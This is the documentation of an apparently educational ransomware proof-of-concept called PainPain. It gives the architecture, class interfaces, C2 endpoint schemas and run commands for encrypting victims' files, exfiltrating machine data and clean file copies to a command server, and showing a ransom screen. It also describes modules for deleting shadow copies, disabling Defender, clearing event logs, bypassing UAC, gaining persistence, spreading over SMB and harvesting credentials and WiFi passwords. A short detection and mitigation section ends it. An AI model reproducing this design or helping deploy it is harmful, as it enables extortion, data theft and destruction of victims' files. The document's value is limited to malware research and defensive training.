- Overview
- Architecture
- Module Breakdown
- Encryption Scheme
- Execution Flow
- C2 Communication
- Advanced Features
- Configuration
- Testing
- Security Considerations
PainPain is a modular, educational ransomware Proof-of-Concept (PoC) designed to demonstrate how modern ransomware operates. It implements realistic ransomware techniques including hybrid encryption, C2 (Command & Control) communication, file discovery, and a ransom GUI.
- Educational: Understanding ransomware mechanics for defense
- Research: Testing detection and prevention mechanisms
- Training: Cybersecurity awareness and incident response practice
| Feature | Description |
|---|---|
| Hybrid Encryption | RSA-2048 for key exchange + Fernet (AES-128-CBC) for files |
| File Discovery | Recursive directory traversal with extension filtering |
| C2 Communication | HTTP POST exfiltration to Flask server |
| Ransom GUI | Tkinter-based WannaCry-style interface |
| Persistence | Registry Run keys, startup folders (optional) |
| Lateral Movement | Network share enumeration (optional) |
| Evasion | VM detection, Defender bypass, event log clearing (optional) |
PainPain-Ransomware-PoC/
├── main.py # CLI entry point
├── generate_keys.py # RSA key pair generator
├── requirements.txt # Python dependencies
├── Dockerfile # Container configuration
├── .env.example # Environment template
├── README.md # Basic documentation
├── DOCUMENTATION.md # This file
│
├── ransomware/ # Core ransomware package
│ ├── __init__.py
│ ├── config.py # Pydantic configuration
│ ├── core.py # Main orchestration class
│ ├── logging.py # Loguru setup
│ ├── exceptions.py # Custom exceptions
│ ├── discover.py # Legacy discovery
│ ├── modify.py # In-place file modification
│ │
│ ├── crypto/ # Encryption modules
│ │ ├── __init__.py
│ │ ├── encryptor.py # Fernet encryption/decryption
│ │ └── keys.py # RSA key management
│ │
│ ├── discovery/ # File discovery
│ │ ├── __init__.py
│ │ └── discoverer.py # Recursive file finder
│ │
│ ├── network/ # C2 communication
│ │ ├── __init__.py
│ │ └── client.py # HTTP client for C2
│ │
│ ├── gui/ # Ransom GUI
│ │ ├── __init__.py
│ │ └── main.py # Tkinter GUI (RansomwareGUI)
│ ├── gui_main.py # Legacy GUI (WannaCry-style)
│ ├── gui.py # Original GUI
│ │
│ ├── persistence.py # Phase 2: Persistence
│ ├── spread.py # Phase 3: Lateral movement
│ ├── stealth.py # Phase 5: Evasion
│ └── utils.py # Phase 1: Shell helpers, VM detection
│
├── c2_server/ # C2 Server
│ ├── c2_server.py # Socket-based server (legacy)
│ └── c2_server_alt.py # Flask HTTP server (current)
│
├── tests/ # Unit tests
│ ├── test_discovery.py
│ ├── test_encryptor.py
│ ├── test_gui.py
│ └── test_network.py
│
├── clean_dark_secure_folder.py # Cleanup utility
└── testDir/ # Test data
Location: main.py
The main entry point for the ransomware agent. Handles CLI arguments, logging setup, and orchestrates execution.
# Usage patterns
python main.py -p "./testDir/banking_receipts" -e # Encrypt
python main.py -p "./testDir/banking_receipts" -d # DecryptKey Functions:
setup_logging(): Creates timestamped log files inlogs/parse_args(): Handles-p(path),-e(encrypt),-d(decrypt),--mid(machine ID)main(): Initializes config and runsRansomwareApp
Logging Information Captured:
- Timestamp, platform, Python version, user, hostname
- All operations logged to
logs/ransomware_activity_YYYYMMDD_HHMMSS.log
Location: ransomware/core.py
The RansomwareApp class coordinates all ransomware operations.
class RansomwareApp:
def __init__(self, config: AppConfig)
def get_machine_id(self) -> str # Unique victim ID
def exfiltrate_to_c2(self, root_dir: str) # Send data to C2
def run_process(self, root_dir: str, ...) # Main workflowExecution Modes:
- Fetch RSA public key from C2 (
/public_key) - Generate unique Fernet key for this victim
- Save Fernet key locally (for PoC recovery)
- Discover files using
FileDiscoverer - Encrypt each file and append
.wastedextension - Encrypt Fernet key with RSA public key
- Exfiltrate machine data + encrypted key to C2
- Launch ransom GUI
- Fetch plaintext Fernet key from C2 (
/fetch_key) - Discover files with
.wastedextension - Decrypt and restore original filenames
- No GUI is shown in decryption mode
Location: ransomware/config.py
Uses Pydantic Settings for type-safe configuration loading from .env files.
class AppConfig(BaseSettings):
c2_server_url: str # C2 endpoint
encryption_key_path: str # Local key storage
log_level: str = "INFO"
timeout: int = 30
extension: str = ".wasted"
payment_address: str # BTC address for ransom
# Feature flags for advanced phases
enable_utils: bool = True
enable_persistence: bool = False
enable_spread: bool = False
enable_c2_tls: bool = False
enable_stealth: bool = FalseEnvironment Variables (from .env):
C2_SERVER_URL=http://127.0.0.1:8080
ENCRYPTION_KEY_PATH=./encryption.key
RSA_PRIVATE_KEY_PATH=c2_private_key.pem
LOG_LEVEL=INFO
PAYMENT_ADDRESS=1BitcoinEaterAddressDontSendf59kuEFernet Symmetric Encryption:
Fernet uses AES-128 in CBC mode with PKCS7 padding and HMAC for authentication.
class Encryptor:
@staticmethod
def generate_key() -> bytes # 32-byte URL-safe base64 key
def encrypt_file(self, file_path) # In-place file encryption
def decrypt_file(self, file_path) # In-place file decryptionEncryption Process:
- Read entire file into memory
- Encrypt using
fernet.encrypt(data) - Write encrypted data back to file
- File is renamed with
.wastedextension
RSA Key Management:
class Keys:
@staticmethod
def load_key(path: str) -> bytes
@staticmethod
def save_key(path: str, key: bytes)
@staticmethod
def generate_rsa_keypair() -> tuple[bytes, bytes] # (priv, pub)
@staticmethod
def encrypt_with_rsa(data: bytes, rsa_public_key_pem: bytes) -> bytes
@staticmethod
def decrypt_with_rsa(ciphertext_b64: bytes, rsa_private_key_pem: bytes) -> bytesRSA Implementation:
- Key size: 2048 bits
- Padding: OAEP with SHA-256
- Output: Base64-encoded ciphertext
Location: ransomware/discovery/discoverer.py
class FileDiscoverer:
def __init__(self, root_dir: str, extensions: Optional[List[str]] = None)
def discover_files(self) -> List[str]Features:
- Recursive directory traversal using
os.walk() - Extension filtering (optional)
- Skips hidden files (
.*) - Skips key files (
.key,encryption.key)
Legacy Module (ransomware/discover.py):
- Generator-based discovery
- Hardcoded extension list for common file types
- Yields absolute paths
Location: ransomware/network/client.py
class NetworkClient:
def __init__(self, config: AppConfig)
def send_data(self, endpoint: str, data: dict) -> dict
def fetch_public_key(self) -> str # GET /public_key
def request_decrypt_key(self, machine_id: str) -> str # POST /decrypt_key
def fetch_decrypted_key(self, machine_id: str) -> str # POST /fetch_keyEndpoints:
GET /public_key: Retrieve RSA public key for encryptionPOST /decrypt_key: Request encrypted Fernet key (after payment)POST /fetch_key: Fetch plaintext Fernet key (post-payment confirmation)
Location: ransomware/gui/main.py
class RansomwareGUI(tk.Tk):
def __init__(self, target_dir=None, payment_address='...', decrypt_cmd=None)
def build_gui(self) # Construct ransom note UI
def update_timer(self) # Countdown timer (72 hours)
def try_decrypt(self) # Validate code and decrypt
def run_decrypt_command(self) # Execute subprocess decryptionGUI Features:
- Black background with red/yellow text (WannaCry-style)
- Skull emoji/icon header
- Countdown timer: 72 hours
- Bitcoin payment address display
- Decryption code entry (
bitcoinis hardcoded) - Automatic window close after successful decryption
Decryption Flow:
- User enters code "bitcoin"
- GUI spawns subprocess:
python main.py -p <dir> -d --mid <machine_id> - Waits for completion
- Shows success message
- Closes after 1 second
PainPain uses a hybrid encryption scheme combining asymmetric (RSA) and symmetric (Fernet/AES) encryption:
┌─────────────────────────────────────────────────────────────────┐
│ ENCRYPTION FLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌────────────────┐ │
│ │ C2 Server │ │ Victim Machine │ │
│ │ │ │ │ │
│ │ RSA Key Pair │ │ │ │
│ │ - Private │ │ │ │
│ │ - Public │◄─────────┤ 1. Fetch Pub │ │
│ └──────────────┘ │ Key │ │
│ └────────────────┘ │
│ │ │
│ ┌─────────▼──────────┐ │
│ │ 2. Generate Fernet │ │
│ │ Key (per-victim)│ │
│ └─────────┬──────────┘ │
│ │ │
│ ┌─────────▼──────────┐ │
│ │ 3. Encrypt Files │ │
│ │ with Fernet │ │
│ └─────────┬──────────┘ │
│ │ │
│ ┌─────────▼──────────┐ │
│ │ 4. Encrypt Fernet │ │
│ │ with RSA Pub │ │
│ └─────────┬──────────┘ │
│ │ │
│ ┌──────────────┐ ┌─────────▼──────────┐ │
│ │ C2 Server │◄─────────┤ 5. Exfiltrate │ │
│ │ - Encrypted │ │ Machine Data │ │
│ │ Fernet Key │ │ + Encrypted Key│ │
│ └──────────────┘ └───────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
- Algorithm: AES-128-CBC with PKCS7 padding
- Authentication: HMAC-SHA256
- Key: 32 bytes, URL-safe base64-encoded
- Token Format:
version (1) + timestamp (8) + IV (16) + ciphertext + HMAC (32)
- Key Size: 2048 bits
- Padding: OAEP (Optimal Asymmetric Encryption Padding)
- Hash: SHA-256 for both main hash and MGF
- Use: Encrypts the Fernet key (max 32 bytes → fits in 2048-bit RSA)
| Approach | Problem |
|---|---|
| Pure RSA | Too slow for large files; size limitations |
| Pure AES | Key distribution problem; same key for all |
| Hybrid | RSA protects the AES key; AES is fast for files |
main.py
└── parse_args()
└── AppConfig() loads from .env
└── RansomwareApp(config)
└── run_process(path, encrypt=True)
├── 1. NetworkClient.fetch_public_key()
│ └── GET /public_key → RSA pub
├── 2. Encryptor.generate_key() → Fernet
├── 3. FileDiscoverer.discover_files()
│ └── os.walk(root_dir)
├── 4. For each file:
│ ├── Encryptor.encrypt_file(file)
│ └── os.rename(file, file + ".wasted")
├── 5. Keys.encrypt_with_rsa(fernet_key, rsa_pub)
├── 6. exfiltrate_to_c2(root_dir)
│ └── POST /exfiltrate
└── 7. RansomwareGUI(target_dir, decrypt_cmd)
└── mainloop() - blocks until closed
main.py
└── parse_args()
└── RansomwareApp(config)
└── run_process(path, encrypt=False, machine_id=...)
├── 1. NetworkClient.fetch_decrypted_key(machine_id)
│ └── POST /fetch_key → Fernet key
│ └── (Fallback: local .fernet_key file)
├── 2. FileDiscoverer.discover_files()
├── 3. For each .wasted file:
│ ├── Encryptor.decrypt_file(file)
│ └── os.rename(file, file[:-len(".wasted")])
└── 4. Log completion
Endpoints:
Returns the RSA public key for victim encryption.
{
"public_key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhki..."
}Receives victim data and encrypted Fernet key.
Request:
{
"ip_address": "192.168.1.100",
"operating_system": "Windows",
"username": "john",
"hostname": "DESKTOP-ABC123",
"target_directory": "C:\\Users\\john\\Documents",
"victim_fernet_key": "base64(RSA_encrypted_fernet_key)"
}Response:
{
"status": "ok",
"message": "Data received and exfiltration started"
}Side Effects:
- Stores machine data in
c2_data/<machine_id>_<timestamp>.json - Starts background thread to copy files from
target_directorytodarkSecureFolder/<machine_id>/
Returns the RSA-encrypted Fernet key for a machine.
Request:
{"machine_id": "192.168.1.100_DESKTOP-ABC123_john"}Response:
{"encrypted_key": "base64_encrypted_key"}Attacker endpoint to upload the decrypted Fernet key after payment.
Request:
{
"machine_id": "192.168.1.100_DESKTOP-ABC123_john",
"fernet_key": "gAAAAABf..."
}Victim endpoint to retrieve the plaintext Fernet key after payment confirmation.
Request:
{"machine_id": "192.168.1.100_DESKTOP-ABC123_john"}Response:
{"fernet_key": "gAAAAABf..."}darkSecureFolder/
└── <machine_id>/
└── [copied files from victim's target directory]
c2_data/
└── <machine_id>_<timestamp>.json
The C2 server copies files before they are encrypted (clean copies). This simulates real ransomware data theft.
Functions:
| Function | Purpose |
|---|---|
run_cmd(cmd) |
Execute shell commands |
is_admin() |
Check administrator privileges |
is_vm() |
Detect VM/sandbox environment |
delay_if_sandbox() |
Add delays if VM detected |
delete_shadow_copies() |
Delete Windows shadow copies (anti-recovery) |
disable_services() |
Disable backup/security services |
generate_ransom_note() |
Create README.txt in encrypted directories |
VM Detection Methods:
- MAC address prefixes (VMware, VirtualBox, Hyper-V)
- VM-specific files (vmmouse.sys, vmhgfs.sys)
- CPU core count (< 3 cores = suspicious)
- RAM size (< 4GB = suspicious)
- Registry keys (VBoxGuest, VMTools)
Functions:
| Function | Description |
|---|---|
check_mutex(mutex_name) |
Prevent multiple instances |
install_run_key(exe_path) |
Add to HKCU\...\Run registry |
install_startup_shortcut(exe_path) |
Create startup folder shortcut |
install_scheduled_task(exe_path) |
Create Windows scheduled task |
anti_vm_abort() |
Abort if VM detected |
timing_check_abort() |
Abort if running too fast (debugger) |
Functions:
| Function | Description |
|---|---|
enumerate_network_shares() |
Find SMB shares via net view |
enumerate_unc_paths() |
Find mounted network drives |
spread_to_share(share_path, exe_path) |
Copy ransomware to share |
spread_to_network(exe_path) |
Spread to all accessible shares |
harvest_credentials_from_registry() |
Read stored credentials |
harvest_wifi_passwords() |
Extract WiFi passwords via netsh |
enumerate_smb_ports() |
Scan for SMB (445) on local subnet |
Functions:
| Function | Description |
|---|---|
indirect_syscall(...) |
Execute syscalls indirectly (anti-hook) |
disable_defender() |
Disable Windows Defender |
clear_event_logs() |
Clear Security/System/Application logs |
exclude_from_backup(path) |
Add path to backup exclusions |
hide_process() |
Hide from debugger via NtSetInformationThread |
wipe_free_space(path) |
Overwrite free space with zeros |
uac_bypass() |
Bypass UAC via fodhelper.exe |
Note: These features are disabled by default via feature flags in config.py.
# Required
C2_SERVER_URL=http://127.0.0.1:8080
ENCRYPTION_KEY_PATH=./encryption.key
RSA_PRIVATE_KEY_PATH=c2_private_key.pem
# Optional
LOG_LEVEL=INFO
PAYMENT_ADDRESS=1BitcoinEaterAddressDontSendf59kuE
# Feature flags
ENABLE_UTILS=true
ENABLE_PERSISTENCE=false
ENABLE_SPREAD=false
ENABLE_C2_TLS=false
ENABLE_STEALTH=falsepython generate_keys.pyCreates:
c2_private_key.pem: Server private key (KEEP SECURE)c2_public_key.pem: Server public key
# Run all tests
pytest
# Run specific test
pytest tests/test_discovery.py
# Run GUI tests (requires pytest-qt)
pytest tests/test_gui.py -v| File | Coverage |
|---|---|
test_discovery.py |
File discovery with temp files |
test_encryptor.py |
Placeholder for encryption tests |
test_network.py |
Network error handling |
test_gui.py |
GUI visibility tests |
# 1. Generate keys
python generate_keys.py
# 2. Start C2 server (terminal 1)
python c2_server/c2_server_alt.py
# 3. Run encryption (terminal 2)
python main.py -p "./testDir/banking_receipts" -e
# 4. In GUI, enter code: bitcoin
# 5. Check darkSecureFolder/ for exfiltrated files
# 6. Check c2_data/ for machine data- Isolated Environment: Always run in VM/disconnected network
- Test Data Only: Never use on production/real data
- Key Management: C2 private key must be kept secure
- Cleanup: Use
clean_dark_secure_folder.pyto remove exfiltrated data
| Indicator | Detection Method |
|---|---|
File extension .wasted |
File monitoring |
HTTP POST to /exfiltrate |
Network monitoring |
| Registry Run key modifications | Registry monitoring |
| Shadow copy deletion | Event log analysis |
| Rapid file modification | EDR behavioral analysis |
| Technique | Mitigation |
|---|---|
| Hybrid Encryption | Network segmentation, backup encryption |
| File Discovery | Principle of least privilege |
| C2 Communication | DNS filtering, egress rules |
| Persistence | Registry monitoring, EDR |
| Shadow Copy Deletion | Offline backups, VSS monitoring |
class RansomwareError(Exception): pass
class NetworkError(RansomwareError): pass
class EncryptionError(RansomwareError): pass
class DiscoveryError(RansomwareError): passUses loguru for structured logging:
from ransomware.logging import logger
logger.info("Message")
logger.error("Error: {e}", e=exception)# Build image
docker build -t ransomware-poc .
# Run with X11 forwarding (Linux)
docker run -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix ransomware-pocFor educational and ethical research use only.
- Do not use on production or unauthorized systems
- Authors are not responsible for misuse or damage
- Always comply with local laws and regulations
- Email: mudityadev@gmail.com
- Repository: https://github.com/Mudityadev/PainPain-Ransomware-PoC
- YouTube Demo: Watch Video
"Cybersecurity is not about avoiding threats — it's about understanding them first."